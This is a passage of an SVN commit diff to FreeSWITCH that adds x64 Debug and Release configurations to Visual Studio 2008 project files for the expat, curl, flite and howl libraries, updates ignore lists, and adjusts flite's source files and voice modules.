@@ -282,6 +507,26 @@
 						PreprocessorDefinitions=""
 					/>
 				</FileConfiguration>
+				<FileConfiguration
+					Name="Release|x64"
+					ExcludedFromBuild="true"
+					>
+					<Tool
+						Name="VCCLCompilerTool"
+						AdditionalIncludeDirectories=""
+						PreprocessorDefinitions=""
+					/>
+				</FileConfiguration>
+				<FileConfiguration
+					Name="Debug|x64"
+					ExcludedFromBuild="true"
+					>
+					<Tool
+						Name="VCCLCompilerTool"
+						AdditionalIncludeDirectories=""
+						PreprocessorDefinitions=""
+					/>
+				</FileConfiguration>
 			</File>
 		</Filter>
 		<Filter
@@ -359,6 +604,26 @@
 						Outputs="$(ProjectDir)..\..\apr-util\xml\expat\lib\expat.h"
 					/>
 				</FileConfiguration>
+				<FileConfiguration
+					Name="Release|x64"
+					>
+					<Tool
+						Name="VCCustomBuildTool"
+						Description="Creating expat.h from expat.h.in"
+						CommandLine="if not exist &quot;$(ProjectDir)..\..\apr-util\xml\expat\lib\expat.h&quot; type &quot;$(ProjectDir)..\..\apr-util\xml\expat\lib\expat.h.in&quot; &gt; &quot;$(ProjectDir)..\..\apr-util\xml\expat\lib\expat.h&quot;&#x0D;&#x0A;"
+						Outputs="$(ProjectDir)..\..\apr-util\xml\expat\lib\expat.h"
+					/>
+				</FileConfiguration>
+				<FileConfiguration
+					Name="Debug|x64"
+					>
+					<Tool
+						Name="VCCustomBuildTool"
+						Description="Creating expat.h from expat.h.in"
+						CommandLine="if not exist &quot;$(ProjectDir)..\..\apr-util\xml\expat\lib\expat.h&quot; type &quot;$(ProjectDir)..\..\apr-util\xml\expat\lib\expat.h.in&quot; &gt; &quot;$(ProjectDir)..\..\apr-util\xml\expat\lib\expat.h&quot;&#x0D;&#x0A;"
+						Outputs="$(ProjectDir)..\..\apr-util\xml\expat\lib\expat.h"
+					/>
+				</FileConfiguration>
 			</File>
 			<File
 				RelativePath="..\..\apr-util\xml\expat\lib\winconfig.h"
@@ -383,6 +648,26 @@
 						Outputs="$(ProjectDir)..\..\apr-util\xml\expat\lib\config.h"
 					/>
 				</FileConfiguration>
+				<FileConfiguration
+					Name="Release|x64"
+					>
+					<Tool
+						Name="VCCustomBuildTool"
+						Description="Creating config.h from winconfig.h"
+						CommandLine="if not exist &quot;$(ProjectDir)..\..\apr-util\xml\expat\lib\config.h&quot; type &quot;$(ProjectDir)..\..\apr-util\xml\expat\lib\winconfig.h&quot; &gt; &quot;$(ProjectDir)..\..\apr-util\xml\expat\lib\config.h&quot;&#x0D;&#x0A;"
+						Outputs="$(ProjectDir)..\..\apr-util\xml\expat\lib\config.h"
+					/>
+				</FileConfiguration>
+				<FileConfiguration
+					Name="Debug|x64"
+					>
+					<Tool
+						Name="VCCustomBuildTool"
+						Description="Creating config.h from winconfig.h"
+						CommandLine="if not exist &quot;$(ProjectDir)..\..\apr-util\xml\expat\lib\config.h&quot; type &quot;$(ProjectDir)..\..\apr-util\xml\expat\lib\winconfig.h&quot; &gt; &quot;$(ProjectDir)..\..\apr-util\xml\expat\lib\config.h&quot;&#x0D;&#x0A;"
+						Outputs="$(ProjectDir)..\..\apr-util\xml\expat\lib\config.h"
+					/>
+				</FileConfiguration>
 			</File>
 		</Filter>
 		<File

Property changes: freeswitch/branches/seven/libs/win32/curl


Name: svn:ignore
   - Debug
Release
*.ncb
*.user
*.bak
debug
   + Debug
Release
*.ncb
*.user
*.bak
debug
x64

Modified: freeswitch/branches/seven/libs/win32/curl/curllib.2008.vcproj (14471 => 14472)


--- freeswitch/branches/seven/libs/win32/curl/curllib.2008.vcproj	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/win32/curl/curllib.2008.vcproj	2009-08-09 18:53:22 UTC (rev 14472)
@@ -11,6 +11,9 @@
 		<Platform
 			Name="Win32"
 		/>
+		<Platform
+			Name="x64"
+		/>
 	</Platforms>
 	<ToolFiles>
 	</ToolFiles>
@@ -96,6 +99,83 @@
 			/>
 		</Configuration>
 		<Configuration
+			Name="Release|x64"
+			OutputDirectory="$(PlatformName)\$(ConfigurationName)"
+			IntermediateDirectory="$(PlatformName)\$(ConfigurationName)"
+			ConfigurationType="4"
+			UseOfMFC="0"
+			ATLMinimizesCRunTimeLibraryUsage="false"
+			CharacterSet="2"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+				PreprocessorDefinitions="NDEBUG"
+				MkTypLibCompatible="true"
+				SuppressStartupBanner="true"
+				TargetEnvironment="3"
+				TypeLibraryName=".\Release/curllib.tlb"
+				HeaderFileName=""
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				Optimization="2"
+				InlineFunctionExpansion="1"
+				AdditionalIncludeDirectories="..\..\curl\lib\;..\..\curl\include;."
+				PreprocessorDefinitions="WIN32;NDEBUG;_WINDOWS;_USRDLL;BUILDING_LIBCURL"
+				StringPooling="true"
+				RuntimeLibrary="2"
+				EnableFunctionLevelLinking="true"
+				PrecompiledHeaderFile=".\Release/curllib.pch"
+				BrowseInformation="1"
+				WarningLevel="0"
+				SuppressStartupBanner="true"
+				DebugInformationFormat="3"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+				PreprocessorDefinitions="NDEBUG"
+				Culture="1033"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLibrarianTool"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+				SuppressStartupBanner="true"
+				OutputFile=".\Release/curllib.bsc"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+		<Configuration
 			Name="Debug|Win32"
 			OutputDirectory=".\Debug"
 			IntermediateDirectory=".\Debug"
@@ -174,6 +254,82 @@
 				Name="VCPostBuildEventTool"
 			/>
 		</Configuration>
+		<Configuration
+			Name="Debug|x64"
+			OutputDirectory="$(PlatformName)\$(ConfigurationName)"
+			IntermediateDirectory="$(PlatformName)\$(ConfigurationName)"
+			ConfigurationType="4"
+			UseOfMFC="0"
+			ATLMinimizesCRunTimeLibraryUsage="false"
+			CharacterSet="2"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+				PreprocessorDefinitions="_DEBUG"
+				MkTypLibCompatible="true"
+				SuppressStartupBanner="true"
+				TargetEnvironment="3"
+				TypeLibraryName=".\Debug/curllib.tlb"
+				HeaderFileName=""
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				Optimization="0"
+				AdditionalIncludeDirectories="..\..\curl\lib\;..\..\curl\include;."
+				PreprocessorDefinitions="WIN32;_DEBUG;_WINDOWS;_USRDLL;BUILDING_LIBCURL"
+				MinimalRebuild="true"
+				BasicRuntimeChecks="3"
+				RuntimeLibrary="3"
+				PrecompiledHeaderFile=".\Debug/curllib.pch"
+				BrowseInformation="1"
+				WarningLevel="0"
+				SuppressStartupBanner="true"
+				DebugInformationFormat="3"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+				PreprocessorDefinitions="_DEBUG"
+				Culture="1033"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLibrarianTool"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+				SuppressStartupBanner="true"
+				OutputFile=".\Debug/curllib.bsc"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
 	</Configurations>
 	<References>
 	</References>

Property changes: freeswitch/branches/seven/libs/win32/flite


Name: svn:ignore
   - Debug
*.user
Release
   + Debug
*.user
Release
x64

Modified: freeswitch/branches/seven/libs/win32/flite/flite.2008.vcproj (14471 => 14472)


--- freeswitch/branches/seven/libs/win32/flite/flite.2008.vcproj	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/win32/flite/flite.2008.vcproj	2009-08-09 18:53:22 UTC (rev 14472)
@@ -11,6 +11,9 @@
 		<Platform
 			Name="Win32"
 		/>
+		<Platform
+			Name="x64"
+		/>
 	</Platforms>
 	<ToolFiles>
 	</ToolFiles>
@@ -41,12 +44,13 @@
 				Name="VCCLCompilerTool"
 				Optimization="0"
 				AdditionalIncludeDirectories="&quot;..\..\flite-1.3.99\include&quot;;&quot;..\..\flite-1.3.99\lang\usenglish&quot;;&quot;..\..\flite-1.3.99\lang\cmulex&quot;"
-				PreprocessorDefinitions="CST_AUDIO_WINCE=1;NO_UNION_INITIALIZATION=1;_CRT_SECURE_NO_WARNINGS"
+				PreprocessorDefinitions="CST_AUDIO_NONE=1;NO_UNION_INITIALIZATION=1;_CRT_SECURE_NO_WARNINGS"
 				MinimalRebuild="true"
 				BasicRuntimeChecks="3"
 				RuntimeLibrary="3"
-				WarningLevel="0"
+				WarningLevel="4"
 				DebugInformationFormat="4"
+				DisableSpecificWarnings="4100;4057;4706"
 			/>
 			<Tool
 				Name="VCManagedResourceCompilerTool"
@@ -77,6 +81,69 @@
 			/>
 		</Configuration>
 		<Configuration
+			Name="Debug|x64"
+			OutputDirectory="$(SolutionDir)$(PlatformName)\$(ConfigurationName)"
+			IntermediateDirectory="$(PlatformName)\$(ConfigurationName)"
+			ConfigurationType="4"
+			CharacterSet="2"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+				TargetEnvironment="3"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				Optimization="0"
+				AdditionalIncludeDirectories="&quot;..\..\flite-1.3.99\include&quot;;&quot;..\..\flite-1.3.99\lang\usenglish&quot;;&quot;..\..\flite-1.3.99\lang\cmulex&quot;"
+				PreprocessorDefinitions="CST_AUDIO_NONE=1;NO_UNION_INITIALIZATION=1;_CRT_SECURE_NO_WARNINGS"
+				MinimalRebuild="true"
+				BasicRuntimeChecks="3"
+				RuntimeLibrary="3"
+				WarningLevel="0"
+				DebugInformationFormat="3"
+				DisableSpecificWarnings="4100;4057;4706"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLibrarianTool"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+		<Configuration
 			Name="Release|Win32"
 			OutputDirectory="$(SolutionDir)$(ConfigurationName)"
 			IntermediateDirectory="$(ConfigurationName)"
@@ -104,12 +171,13 @@
 				Optimization="2"
 				EnableIntrinsicFunctions="true"
 				AdditionalIncludeDirectories="&quot;..\..\flite-1.3.99\include&quot;;&quot;..\..\flite-1.3.99\lang\usenglish&quot;;&quot;..\..\flite-1.3.99\lang\cmulex&quot;"
-				PreprocessorDefinitions="CST_AUDIO_WINCE=1;NO_UNION_INITIALIZATION=1;_CRT_SECURE_NO_WARNINGS"
+				PreprocessorDefinitions="CST_AUDIO_NONE=1;NO_UNION_INITIALIZATION=1;_CRT_SECURE_NO_WARNINGS"
 				MinimalRebuild="true"
 				RuntimeLibrary="2"
 				EnableFunctionLevelLinking="true"
 				WarningLevel="0"
 				DebugInformationFormat="3"
+				DisableSpecificWarnings="4100;4057;4706"
 			/>
 			<Tool
 				Name="VCManagedResourceCompilerTool"
@@ -139,6 +207,71 @@
 				Name="VCPostBuildEventTool"
 			/>
 		</Configuration>
+		<Configuration
+			Name="Release|x64"
+			OutputDirectory="$(SolutionDir)$(PlatformName)\$(ConfigurationName)"
+			IntermediateDirectory="$(PlatformName)\$(ConfigurationName)"
+			ConfigurationType="4"
+			CharacterSet="2"
+			WholeProgramOptimization="1"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+				TargetEnvironment="3"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				Optimization="2"
+				EnableIntrinsicFunctions="true"
+				AdditionalIncludeDirectories="&quot;..\..\flite-1.3.99\include&quot;;&quot;..\..\flite-1.3.99\lang\usenglish&quot;;&quot;..\..\flite-1.3.99\lang\cmulex&quot;"
+				PreprocessorDefinitions="CST_AUDIO_NONE=1;NO_UNION_INITIALIZATION=1;_CRT_SECURE_NO_WARNINGS"
+				MinimalRebuild="true"
+				RuntimeLibrary="2"
+				EnableFunctionLevelLinking="true"
+				WarningLevel="0"
+				DebugInformationFormat="3"
+				DisableSpecificWarnings="4100;4057;4706"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLibrarianTool"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
 	</Configurations>
 	<References>
 	</References>
@@ -153,6 +286,14 @@
 				>
 			</File>
 			<File
+				RelativePath="..\..\flite-1.3.99\src\audio\au_none.c"
+				>
+			</File>
+			<File
+				RelativePath="..\..\flite-1.3.99\src\audio\au_streaming.c"
+				>
+			</File>
+			<File
 				RelativePath="..\..\flite-1.3.99\src\audio\au_wince.c"
 				>
 			</File>
@@ -185,6 +326,10 @@
 				>
 			</File>
 			<File
+				RelativePath="..\..\flite-1.3.99\lang\cmulex\cmu_postlex.c"
+				>
+			</File>
+			<File
 				RelativePath="..\..\flite-1.3.99\lang\cmu_time_awb\cmu_time_awb.c"
 				>
 				<FileConfiguration
@@ -196,6 +341,14 @@
 					/>
 				</FileConfiguration>
 				<FileConfiguration
+					Name="Debug|x64"
+					>
+					<Tool
+						Name="VCCLCompilerTool"
+						AdditionalIncludeDirectories="include;lang/usenglish"
+					/>
+				</FileConfiguration>
+				<FileConfiguration
 					Name="Release|Win32"
 					>
 					<Tool
@@ -203,6 +356,14 @@
 						AdditionalIncludeDirectories="include;lang/usenglish"
 					/>
 				</FileConfiguration>
+				<FileConfiguration
+					Name="Release|x64"
+					>
+					<Tool
+						Name="VCCLCompilerTool"
+						AdditionalIncludeDirectories="include;lang/usenglish"
+					/>
+				</FileConfiguration>
 			</File>
 			<File
 				RelativePath="..\..\flite-1.3.99\lang\cmu_time_awb\cmu_time_awb_cart.c"
@@ -229,26 +390,6 @@
 				>
 			</File>
 			<File
-				RelativePath="..\..\flite-1.3.99\lang\cmu_us_kal16\cmu_us_kal16.c"
-				>
-			</File>
-			<File
-				RelativePath="..\..\flite-1.3.99\lang\cmu_us_kal16\cmu_us_kal16_diphone.c"
-				>
-			</File>
-			<File
-				RelativePath="..\..\flite-1.3.99\lang\cmu_us_kal16\cmu_us_kal16_lpc.c"
-				>
-			</File>
-			<File
-				RelativePath="..\..\flite-1.3.99\lang\cmu_us_kal16\cmu_us_kal16_res.c"
-				>
-			</File>
-			<File
-				RelativePath="..\..\flite-1.3.99\lang\cmu_us_kal16\cmu_us_kal16_residx.c"
-				>
-			</File>
-			<File
 				RelativePath="..\..\flite-1.3.99\lang\cmu_us_kal\cmu_us_kal_diphone.c"
 				>
 			</File>
@@ -277,6 +418,10 @@
 				>
 			</File>
 			<File
+				RelativePath="..\..\flite-1.3.99\src\cg\cst_cg.c"
+				>
+			</File>
+			<File
 				RelativePath="..\..\flite-1.3.99\src\wavesynth\cst_clunits.c"
 				>
 			</File>
@@ -301,6 +446,10 @@
 				>
 			</File>
 			<File
+				RelativePath="..\..\flite-1.3.99\src\synth\cst_ffeatures.c"
+				>
+			</File>
+			<File
 				RelativePath="..\..\flite-1.3.99\src\utils\cst_file_stdio.c"
 				>
 			</File>
@@ -325,6 +474,14 @@
 				>
 			</File>
 			<File
+				RelativePath="..\..\flite-1.3.99\src\cg\cst_mlpg.c"
+				>
+			</File>
+			<File
+				RelativePath="..\..\flite-1.3.99\src\cg\cst_mlsa.c"
+				>
+			</File>
+			<File
 				RelativePath="..\..\flite-1.3.99\src\utils\cst_mmap_win32.c"
 				>
 			</File>
@@ -353,10 +510,6 @@
 				>
 			</File>
 			<File
-				RelativePath="..\..\flite-1.3.99\src\wavesynth\cst_sigprFP.c"
-				>
-			</File>
-			<File
 				RelativePath="..\..\flite-1.3.99\src\utils\cst_socket.c"
 				>
 			</File>
@@ -413,6 +566,10 @@
 				>
 			</File>
 			<File
+				RelativePath="..\..\flite-1.3.99\src\cg\cst_vc.c"
+				>
+			</File>
+			<File
 				RelativePath="..\..\flite-1.3.99\src\stats\cst_viterbi.c"
 				>
 			</File>
@@ -501,10 +658,6 @@
 				>
 			</File>
 			<File
-				RelativePath="..\..\flite-1.3.99\lang\usenglish\us_postlex.c"
-				>
-			</File>
-			<File
 				RelativePath="..\..\flite-1.3.99\lang\usenglish\us_text.c"
 				>
 			</File>
@@ -543,6 +696,10 @@
 				>
 			</File>
 			<File
+				RelativePath="..\..\flite-1.3.99\include\cst_cg.h"
+				>
+			</File>
+			<File
 				RelativePath="..\..\flite-1.3.99\include\cst_clunits.h"
 				>
 			</File>
@@ -591,6 +748,14 @@
 				>
 			</File>
 			<File
+				RelativePath="..\..\flite-1.3.99\src\cg\cst_mlpg.h"
+				>
+			</File>
+			<File
+				RelativePath="..\..\flite-1.3.99\src\cg\cst_mlsa.h"
+				>
+			</File>
+			<File
 				RelativePath="..\..\flite-1.3.99\include\cst_phoneset.h"
 				>
 			</File>
@@ -659,6 +824,10 @@
 				>
 			</File>
 			<File
+				RelativePath="..\..\flite-1.3.99\src\cg\cst_vc.h"
+				>
+			</File>
+			<File
 				RelativePath="..\..\flite-1.3.99\include\cst_viterbi.h"
 				>
 			</File>
@@ -715,10 +884,6 @@
 				>
 			</File>
 			<File
-				RelativePath="..\..\flite-1.3.99\lang\cmu_us_kal16\voxdefs.h"
-				>
-			</File>
-			<File
 				RelativePath="..\..\flite-1.3.99\lang\cmu_time_awb\voxdefs.h"
 				>
 			</File>
@@ -733,6 +898,150 @@
 			UniqueIdentifier="{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}"
 			>
 		</Filter>
+		<Filter
+			Name="sltvoice"
+			>
+			<File
+				RelativePath="..\..\flite-1.3.99\lang\cmu_us_slt\cmu_us_slt.c"
+				>
+			</File>
+			<File
+				RelativePath="..\..\flite-1.3.99\lang\cmu_us_slt\cmu_us_slt_cg.c"
+				>
+			</File>
+			<File
+				RelativePath="..\..\flite-1.3.99\lang\cmu_us_slt\cmu_us_slt_cg_durmodel.c"
+				>
+			</File>
+			<File
+				RelativePath="..\..\flite-1.3.99\lang\cmu_us_slt\cmu_us_slt_cg_durmodel.h"
+				>
+			</File>
+			<File
+				RelativePath="..\..\flite-1.3.99\lang\cmu_us_slt\cmu_us_slt_cg_f0_trees.c"
+				>
+			</File>
+			<File
+				RelativePath="..\..\flite-1.3.99\lang\cmu_us_slt\cmu_us_slt_cg_f0_trees.h"
+				>
+			</File>
+			<File
+				RelativePath="..\..\flite-1.3.99\lang\cmu_us_slt\cmu_us_slt_cg_mcep_trees.c"
+				>
+			</File>
+			<File
+				RelativePath="..\..\flite-1.3.99\lang\cmu_us_slt\cmu_us_slt_cg_mcep_trees.h"
+				>
+			</File>
+			<File
+				RelativePath="..\..\flite-1.3.99\lang\cmu_us_slt\cmu_us_slt_cg_params.c"
+				>
+			</File>
+			<File
+				RelativePath="..\..\flite-1.3.99\lang\cmu_us_slt\cmu_us_slt_cg_phonestate.c"
+				>
+			</File>
+			<File
+				RelativePath="..\..\flite-1.3.99\lang\cmu_us_slt\voxdefs.h"
+				>
+			</File>
+		</Filter>
+		<Filter
+			Name="awbvoice"
+			>
+			<File
+				RelativePath="..\..\flite-1.3.99\lang\cmu_us_awb\cmu_us_awb.c"
+				>
+			</File>
+			<File
+				RelativePath="..\..\flite-1.3.99\lang\cmu_us_awb\cmu_us_awb_cg.c"
+				>
+			</File>
+			<File
+				RelativePath="..\..\flite-1.3.99\lang\cmu_us_awb\cmu_us_awb_cg_durmodel.c"
+				>
+			</File>
+			<File
+				RelativePath="..\..\flite-1.3.99\lang\cmu_us_awb\cmu_us_awb_cg_durmodel.h"
+				>
+			</File>
+			<File
+				RelativePath="..\..\flite-1.3.99\lang\cmu_us_awb\cmu_us_awb_cg_f0_trees.c"
+				>
+			</File>
+			<File
+				RelativePath="..\..\flite-1.3.99\lang\cmu_us_awb\cmu_us_awb_cg_f0_trees.h"
+				>
+			</File>
+			<File
+				RelativePath="..\..\flite-1.3.99\lang\cmu_us_awb\cmu_us_awb_cg_mcep_trees.c"
+				>
+			</File>
+			<File
+				RelativePath="..\..\flite-1.3.99\lang\cmu_us_awb\cmu_us_awb_cg_mcep_trees.h"
+				>
+			</File>
+			<File
+				RelativePath="..\..\flite-1.3.99\lang\cmu_us_awb\cmu_us_awb_cg_params.c"
+				>
+			</File>
+			<File
+				RelativePath="..\..\flite-1.3.99\lang\cmu_us_awb\cmu_us_awb_cg_phonestate.c"
+				>
+			</File>
+			<File
+				RelativePath="..\..\flite-1.3.99\lang\cmu_us_awb\voxdefs.h"
+				>
+			</File>
+		</Filter>
+		<Filter
+			Name="rmsvoice"
+			>
+			<File
+				RelativePath="..\..\flite-1.3.99\lang\cmu_us_rms\cmu_us_rms.c"
+				>
+			</File>
+			<File
+				RelativePath="..\..\flite-1.3.99\lang\cmu_us_rms\cmu_us_rms_cg.c"
+				>
+			</File>
+			<File
+				RelativePath="..\..\flite-1.3.99\lang\cmu_us_rms\cmu_us_rms_cg_durmodel.c"
+				>
+			</File>
+			<File
+				RelativePath="..\..\flite-1.3.99\lang\cmu_us_rms\cmu_us_rms_cg_durmodel.h"
+				>
+			</File>
+			<File
+				RelativePath="..\..\flite-1.3.99\lang\cmu_us_rms\cmu_us_rms_cg_f0_trees.c"
+				>
+			</File>
+			<File
+				RelativePath="..\..\flite-1.3.99\lang\cmu_us_rms\cmu_us_rms_cg_f0_trees.h"
+				>
+			</File>
+			<File
+				RelativePath="..\..\flite-1.3.99\lang\cmu_us_rms\cmu_us_rms_cg_mcep_trees.c"
+				>
+			</File>
+			<File
+				RelativePath="..\..\flite-1.3.99\lang\cmu_us_rms\cmu_us_rms_cg_mcep_trees.h"
+				>
+			</File>
+			<File
+				RelativePath="..\..\flite-1.3.99\lang\cmu_us_rms\cmu_us_rms_cg_params.c"
+				>
+			</File>
+			<File
+				RelativePath="..\..\flite-1.3.99\lang\cmu_us_rms\cmu_us_rms_cg_phonestate.c"
+				>
+			</File>
+			<File
+				RelativePath="..\..\flite-1.3.99\lang\cmu_us_rms\voxdefs.h"
+				>
+			</File>
+		</Filter>
 	</Files>
 	<Globals>
 	</Globals>

Property changes: freeswitch/branches/seven/libs/win32/howl


Name: svn:ignore
   - Debug
Release
*.ncb
*.user
*.bak
Debug Static
Release Static
debug
debug static
   + Debug
Release
*.ncb
*.user
*.bak
Debug Static
Release Static
debug
debug static
x64

Modified: freeswitch/branches/seven/libs/win32/howl/libhowl.2008.vcproj (14471 => 14472)


--- freeswitch/branches/seven/libs/win32/howl/libhowl.2008.vcproj	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/win32/howl/libhowl.2008.vcproj	2009-08-09 18:53:22 UTC (rev 14472)
@@ -12,6 +12,9 @@
 		<Platform
 			Name="Win32"
 		/>
+		<Platform
+			Name="x64"
+		/>
 	</Platforms>
 	<ToolFiles>
 	</ToolFiles>
@@ -146,6 +149,138 @@
 				Name="VCPostBuildEventTool"
 			/>
 		</Configuration>
+		<Configuration
+			Name="Debug|x64"
+			OutputDirectory="$(PlatformName)\$(ConfigurationName)"
+			IntermediateDirectory="$(PlatformName)\$(ConfigurationName)"
+			ConfigurationType="4"
+			CharacterSet="2"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+				TargetEnvironment="3"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				Optimization="0"
+				AdditionalIncludeDirectories="&quot;..\..\howl-1.0.0\include&quot;;&quot;..\..\howl-1.0.0\src\lib\howl&quot;"
+				PreprocessorDefinitions="_DEBUG;WINDOWS;WIN32;_WIN32_WINNT=0x0500;HAVE_WSA_ASYNC_SELECT;_CRT_SECURE_NO_DEPRECATE;_CRT_NONSTDC_NO_DEPRECATE"
+				MinimalRebuild="true"
+				BasicRuntimeChecks="3"
+				RuntimeLibrary="3"
+				UsePrecompiledHeader="0"
+				WarningLevel="0"
+				DebugInformationFormat="3"
+				CallingConvention="2"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLibrarianTool"
+				OutputFile="$(OutDir)/libhowld.lib"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+		<Configuration
+			Name="Release|x64"
+			OutputDirectory="$(PlatformName)\$(ConfigurationName)"
+			IntermediateDirectory="$(PlatformName)\$(ConfigurationName)"
+			ConfigurationType="4"
+			CharacterSet="2"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+				TargetEnvironment="3"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				Optimization="2"
+				InlineFunctionExpansion="1"
+				OmitFramePointers="true"
+				AdditionalIncludeDirectories="&quot;..\..\howl-1.0.0\include&quot;;&quot;..\..\howl-1.0.0\src\lib\howl&quot;"
+				PreprocessorDefinitions="NDEBUG;WINDOWS;WIN32;_WIN32_WINNT=0x0500;HAVE_WSA_ASYNC_SELECT;_CRT_SECURE_NO_DEPRECATE;_CRT_NONSTDC_NO_DEPRECATE"
+				StringPooling="true"
+				RuntimeLibrary="2"
+				EnableFunctionLevelLinking="true"
+				UsePrecompiledHeader="0"
+				WarningLevel="0"
+				DebugInformationFormat="3"
+				CallingConvention="2"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLibrarianTool"
+				OutputFile="$(OutDir)/libhowl.lib"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
 	</Configurations>
 	<References>
 	</References>

Modified: freeswitch/branches/seven/libs/win32/howl/libmDNSResponder.2008.vcproj (14471 => 14472)


--- freeswitch/branches/seven/libs/win32/howl/libmDNSResponder.2008.vcproj	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/win32/howl/libmDNSResponder.2008.vcproj	2009-08-09 18:53:22 UTC (rev 14472)
@@ -12,6 +12,9 @@
 		<Platform
 			Name="Win32"
 		/>
+		<Platform
+			Name="x64"
+		/>
 	</Platforms>
 	<ToolFiles>
 	</ToolFiles>
@@ -81,6 +84,71 @@
 			/>
 		</Configuration>
 		<Configuration
+			Name="Debug|x64"
+			OutputDirectory="$(PlatformName)\$(ConfigurationName)"
+			IntermediateDirectory="$(PlatformName)\$(ConfigurationName)"
+			ConfigurationType="4"
+			CharacterSet="2"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
